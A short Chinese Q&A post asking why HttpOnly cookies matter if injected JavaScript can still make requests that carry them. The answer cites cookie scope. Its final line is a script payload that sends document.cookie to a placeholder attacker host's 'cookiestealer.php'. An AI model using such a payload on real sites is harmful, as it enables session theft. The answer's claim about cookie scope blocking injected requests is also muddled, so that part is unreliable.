问题描述
据我了解，客户端js无法读取HttpOnly cookie，但浏览器会随其后继请求传递它们。
如果攻击者能够将js注入网页并向端点发出请求，那么由于所有cookie都会传递，它仍然会通过，对吗？
HttpOnly cookie有什么意义？
解决方法
如果攻击者能够将js注入网页并使其 请求到端点，它仍然会通过，因为所有cookie 被传递，对吗？
不。域和路径属性定义了cookie的范围：应将cookie发送到哪些URL。
检查“定义发送Cookie的位置”一节here。
但是如果没有HttpOnly，攻击者就可以使用js访问cookie值：
<script> document.location=”http://Attacker’sIP/cookiestealer.php?c=”document.cookie; </script>